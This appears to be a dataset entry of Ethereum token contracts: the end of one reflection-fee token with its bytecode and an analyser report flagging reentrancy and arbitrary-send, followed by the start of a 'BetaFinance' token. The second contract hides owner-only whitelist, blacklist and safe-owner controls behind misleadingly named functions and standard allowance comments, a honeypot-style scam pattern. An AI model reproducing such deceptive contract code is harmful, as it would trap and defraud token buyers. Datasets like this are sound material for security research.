buyLimitEnd = block.timestamp + (600 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function setTX(uint256 maxBuy, uint256 maxSell) external onlyOwner() {
_maxBuyAmount = maxBuy;
_maxSellAmount = maxSell;
}
function setInu(bool enabled) external onlyOwner() {
if (enabled)
{_SellFee = 16;
_BuyFee = 0;
}
else
{
_SellFee = 8;
_BuyFee = 8;
}
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101c65760003560e01c80638da5cb5b116100f7578063cba0e99611610095578063e8078d9411610064578063e8078d9414610557578063f2cc0c181461056c578063f44ce4601461058c578063f84354f1146105ac57600080fd5b8063cba0e9961461048a578063db92dbb6146104c3578063dd62ed3e146104d8578063e47d60601461051e57600080fd5b8063a985ceef116100d1578063a985ceef14610421578063af9549e014610440578063c3c8cd8014610460578063c9567bf91461047557600080fd5b80638da5cb5b146103a957806395d89b41146103d1578063a9059cbb1461040157600080fd5b80634303443d116101645780636fc3eaec1161013e5780636fc3eaec1461033f57806370a0823114610354578063715018a6146103745780637ded4d6a1461038957600080fd5b80634303443d146102df5780635932ead1146102ff57806368a3a6a51461031f57600080fd5b806323b872dd116101a057806323b872dd1461026c57806327f3a72a1461028c578063313ce567146102a15780634126f695146102bd57600080fd5b806306fdde03146101d2578063095ea7b31461021857806318160ddd1461024857600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b5060408051808201909152600b81526a53686968747a7520496e7560a81b60208201525b60405161020f9190612759565b60405180910390f35b34801561022457600080fd5b506102386102333660046126a8565b6105cc565b604051901515815260200161020f565b34801561025457600080fd5b50662386f26fc100005b60405190815260200161020f565b34801561027857600080fd5b5061023861028736600461263b565b6105e3565b34801561029857600080fd5b5061025e61064c565b3480156102ad57600080fd5b506040516009815260200161020f565b3480156102c957600080fd5b506102dd6102d836600461270b565b61065c565b005b3480156102eb57600080fd5b506102dd6102fa3660046125cb565b61069a565b34801561030b57600080fd5b506102dd61031a3660046126d3565b61080c565b34801561032b57600080fd5b5061025e61033a3660046125cb565b610891565b34801561034b57600080fd5b506102dd6108b4565b34801561036057600080fd5b5061025e61036f3660046125cb565b6108e1565b34801561038057600080fd5b506102dd610903565b34801561039557600080fd5b506102dd6103a43660046125cb565b610977565b3480156103b557600080fd5b506000546040516001600160a01b03909116815260200161020f565b3480156103dd57600080fd5b5060408051808201909152600781526653686968747a7560c81b6020820152610202565b34801561040d57600080fd5b5061023861041c3660046126a8565b610b5d565b34801561042d57600080fd5b50601954600160a81b900460ff16610238565b34801561044c57600080fd5b506102dd61045b36600461267b565b610b6a565b34801561046c57600080fd5b506102dd610bbf565b34801561048157600080fd5b506102dd610bf5565b34801561049657600080fd5b506102386104a53660046125cb565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156104cf57600080fd5b5061025e610c43565b3480156104e457600080fd5b5061025e6104f3366004612603565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561052a57600080fd5b506102386105393660046125cb565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561056357600080fd5b506102dd610c5b565b34801561057857600080fd5b506102dd6105873660046125cb565b611010565b34801561059857600080fd5b506102dd6105a73660046126d3565b6111db565b3480156105b857600080fd5b506102dd6105c73660046125cb565b611225565b60006105d93384846113ea565b5060015b92915050565b60006105f084848461150e565b610642843361063d85604051806060016040528060288152602001612914602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906119c9565b6113ea565b5060019392505050565b6000610657306108e1565b905090565b6000546001600160a01b0316331461068f5760405162461bcd60e51b8152600401610686906127ac565b60405180910390fd5b601491909155601555565b6000546001600160a01b031633146106c45760405162461bcd60e51b8152600401610686906127ac565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b038216141561073d5760405162461bcd60e51b8152602060048201526024808201527f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f756044820152633a32b91760e11b6064820152608401610686565b6001600160a01b03811660009081526008602052604090205460ff16156107a65760405162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c697374656400006044820152606401610686565b6001600160a01b03166000818152600860205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6000546001600160a01b031633146108365760405162461bcd60e51b8152600401610686906127ac565b6019805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200160405180910390a150565b6001600160a01b0381166000908152600a60205260408120546105dd90426128a8565b6016546001600160a01b0316336001600160a01b0316146108d457600080fd5b476108de81611a03565b50565b6001600160a01b0381166000908152600260205260408120546105dd90611a88565b6000546001600160a01b0316331461092d5760405162461bcd60e51b8152600401610686906127ac565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109a15760405162461bcd60e51b8152600401610686906127ac565b6001600160a01b03811660009081526008602052604090205460ff16610a095760405162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c69737465640000000000006044820152606401610686565b60005b600954811015610b5957816001600160a01b031660098281548110610a4157634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610b475760098054610a6c906001906128a8565b81548110610a8a57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600980546001600160a01b039092169183908110610ac457634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600890915260409020805460ff191690556009805480610b2157634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610b51816128bf565b915050610a0c565b5050565b60006105d933848461150e565b6000546001600160a01b03163314610b945760405162461bcd60e51b8152600401610686906127ac565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6016546001600160a01b0316336001600160a01b031614610bdf57600080fd5b6000610bea306108e1565b90506108de81611b0c565b6000546001600160a01b03163314610c1f5760405162461bcd60e51b8152600401610686906127ac565b6019805460ff60a01b1916600160a01b179055610c3e42610258612851565b601a55565b601954600090610657906001600160a01b03166108e1565b6000546001600160a01b03163314610c855760405162461bcd60e51b8152600401610686906127ac565b601954600160a01b900460ff1615610cdf5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610686565b601880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d1a3082662386f26fc100006113ea565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5357600080fd5b505afa158015610d67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8b91906125e7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd357600080fd5b505afa158015610de7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0b91906125e7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610e5357600080fd5b505af1158015610e67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8b91906125e7565b601980546001600160a01b0319166001600160a01b039283161790556018541663f305d7194730610ebb816108e1565b600080610ed06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610f3357600080fd5b505af1158015610f47573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f6c919061272c565b5050662386f26fc100006014555064174876e80060155542600f5560195460185460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610fd857600080fd5b505af1158015610fec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5991906126ef565b6000546001600160a01b0316331461103a5760405162461bcd60e51b8152600401610686906127ac565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156110b25760405162461bcd60e51b815260206004820152602260248201527f57652063616e206e6f74206578636c75646520556e697377617020726f757465604482015261391760f11b6064820152608401610686565b6001600160a01b03811660009081526006602052604090205460ff161561111b5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610686565b6001600160a01b03811660009081526002602052604090205415611175576001600160a01b03811660009081526002602052604090205461115b90611a88565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600660205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6000546001600160a01b031633146112055760405162461bcd60e51b8152600401610686906127ac565b8015611218576010601355600060125550565b6008601381905560125550565b6000546001600160a01b0316331461124f5760405162461bcd60e51b8152600401610686906127ac565b6001600160a01b03811660009081526006602052604090205460ff166112b75760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610686565b60005b600754811015610b5957816001600160a01b0316600782815481106112ef57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156113d8576007805461131a906001906128a8565b8154811061133857634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600780546001600160a01b03909216918390811061137257634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600690925220805460ff191690556007805480610b2157634e487b7160e01b600052603160045260246000fd5b806113e2816128bf565b9150506112ba565b6001600160a01b03831661144c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610686565b6001600160a01b0382166114ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610686565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166115725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610686565b6001600160a01b0382166115d45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610686565b600081116116365760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610686565b6001600160a01b03821660009081526008602052604090205460ff16156116995760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b6044820152606401610686565b3360009081526008602052604090205460ff16156116f35760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b6044820152606401610686565b6000546001600160a01b0384811691161480159061171f57506000546001600160a01b03838116911614155b1561196c57601954600160a81b900460ff161561179f57336000908152600a602052604090206002015460ff1661179f5760408051606081018252600080825260208083018281526001848601818152338552600a909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6019546001600160a01b0384811691161480156117ca57506018546001600160a01b03838116911614155b80156117ef57506001600160a01b03821660009081526005602052604090205460ff16155b1561188957601954600160a01b900460ff1661184d5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610686565b60145481111561185c57600080fd5b6000600d55601254600e55601954600160a81b900460ff16156118895742601a54111561188957605a600e555b6019546001600160a01b0383811691161480156118b457506018546001600160a01b03848116911614155b80156118d957506001600160a01b03831660009081526005602052604090205460ff16155b156118f9576015548111156118ed57600080fd5b6000600d55601354600e555b6000611904306108e1565b601954909150600160b01b900460ff1615801561192f57506019546001600160a01b03858116911614155b80156119445750601954600160a01b900460ff165b1561196a5780156119585761195881611b0c565b4780156119685761196847611a03565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806119ae57506001600160a01b03831660009081526005602052604090205460ff165b156119b7575060005b6119c384848484611cb1565b50505050565b600081848411156119ed5760405162461bcd60e51b81526004016106869190612759565b5060006119fa84866128a8565b95945050505050565b6016546001600160a01b03166108fc611a1d836002611e28565b6040518115909202916000818181858888f19350505050158015611a45573d6000803e3d6000fd5b506017546001600160a01b03166108fc611a60836002611e28565b6040518115909202916000818181858888f19350505050158015610b59573d6000803e3d6000fd5b6000600b54821115611aef5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610686565b6000611af9611e6a565b9050611b058382611e28565b9392505050565b6019805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611b6257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611bb657600080fd5b505afa158015611bca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bee91906125e7565b81600181518110611c0f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601854611c3591309116846113ea565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c6e9085906000908690309042906004016127e1565b600060405180830381600087803b158015611c8857600080fd5b505af1158015611c9c573d6000803e3d6000fd5b50506019805460ff60b01b1916905550505050565b80611cbe57611cbe611e8d565b6001600160a01b03841660009081526006602052604090205460ff168015611cff57506001600160a01b03831660009081526006602052604090205460ff16155b15611d1457611d0f848484611ebb565b611e12565b6001600160a01b03841660009081526006602052604090205460ff16158015611d5557506001600160a01b03831660009081526006602052604090205460ff165b15611d6557611d0f848484611fe1565b6001600160a01b03841660009081526006602052604090205460ff16158015611da757506001600160a01b03831660009081526006602052604090205460ff16155b15611db757611d0f84848461208a565b6001600160a01b03841660009081526006602052604090205460ff168015611df757506001600160a01b03831660009081526006602052604090205460ff165b15611e0757611d0f8484846120ce565b611e1284848461208a565b806119c3576119c3601054600d55601154600e55565b6000611b0583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612141565b6000806000611e7761216f565b9092509050611e868282611e28565b9250505090565b600d54158015611e9d5750600e54155b15611ea457565b600d8054601055600e805460115560009182905555565b600080600080600080611ecd8761233b565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611eff9088612398565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611f2e9087612398565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611f5d90866123da565b6001600160a01b038916600090815260026020526040902055611f7f81612439565b611f898483612483565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fce91815260200190565b60405180910390a3505050505050505050565b600080600080600080611ff38761233b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506120259087612398565b6001600160a01b03808b16600090815260026020908152604080832094909455918b1681526003909152205461205b90846123da565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611f5d90866123da565b60008060008060008061209c8761233b565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611f2e9087612398565b6000806000806000806120e08761233b565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506121129088612398565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546120259087612398565b600081836121625760405162461bcd60e51b81526004016106869190612759565b5060006119fa8486612869565b600b546000908190662386f26fc10000825b600754811015612302578260026000600784815481106121b157634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061222a575081600360006007848154811061220357634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612244575050600b5493662386f26fc100009350915050565b612298600260006007848154811061226c57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612398565b92506122ee60036000600784815481106122c257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612398565b9150806122fa816128bf565b915050612181565b50600b5461231790662386f26fc10000611e28565b821015612332575050600b5492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006123588a600d54600e546124a7565b9250925092506000612368611e6a565b9050600080600061237b8e8787876124fc565b919e509c509a509598509396509194505050505091939550919395565b6000611b0583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119c9565b6000806123e78385612851565b905083811015611b055760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610686565b6000612443611e6a565b90506000612451838361254c565b3060009081526002602052604090205490915061246e90826123da565b30600090815260026020526040902055505050565b600b546124909083612398565b600b55600c546124a090826123da565b600c555050565b60008080806124c160646124bb898961254c565b90611e28565b905060006124d460646124bb8a8961254c565b905060006124ec826124e68b86612398565b90612398565b9992985090965090945050505050565b600080808061250b888661254c565b90506000612519888761254c565b90506000612527888861254c565b90506000612539826124e68686612398565b939b939a50919850919650505050505050565b60008261255b575060006105dd565b60006125678385612889565b9050826125748583612869565b14611b055760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610686565b6000602082840312156125dc578081fd5b8135611b05816128f0565b6000602082840312156125f8578081fd5b8151611b05816128f0565b60008060408385031215612615578081fd5b8235612620816128f0565b91506020830135612630816128f0565b809150509250929050565b60008060006060848603121561264f578081fd5b833561265a816128f0565b9250602084013561266a816128f0565b929592945050506040919091013590565b6000806040838503121561268d578182fd5b8235612698816128f0565b9150602083013561263081612905565b600080604083850312156126ba578182fd5b82356126c5816128f0565b946020939093013593505050565b6000602082840312156126e4578081fd5b8135611b0581612905565b600060208284031215612700578081fd5b8151611b0581612905565b6000806040838503121561271d578182fd5b50508035926020909101359150565b600080600060608486031215612740578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561278557858101830151858201604001528201612769565b818111156127965783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156128305784516001600160a01b03168352938301939183019160010161280b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612864576128646128da565b500190565b60008261288457634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156128a3576128a36128da565b500290565b6000828210156128ba576128ba6128da565b500390565b60006000198214156128d3576128d36128da565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146108de57600080fd5b80151581146108de57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f08deb7e2e1d099b056e6f9ece89ad1081793e7403018e8d1e8f89d2dcfff36a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,496 |
0x9b38172f0ff97aee6c1d0f1a1871fd2295fbd82a
|
pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BetaFinance is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
//25 lines
_mint(owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IER C20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
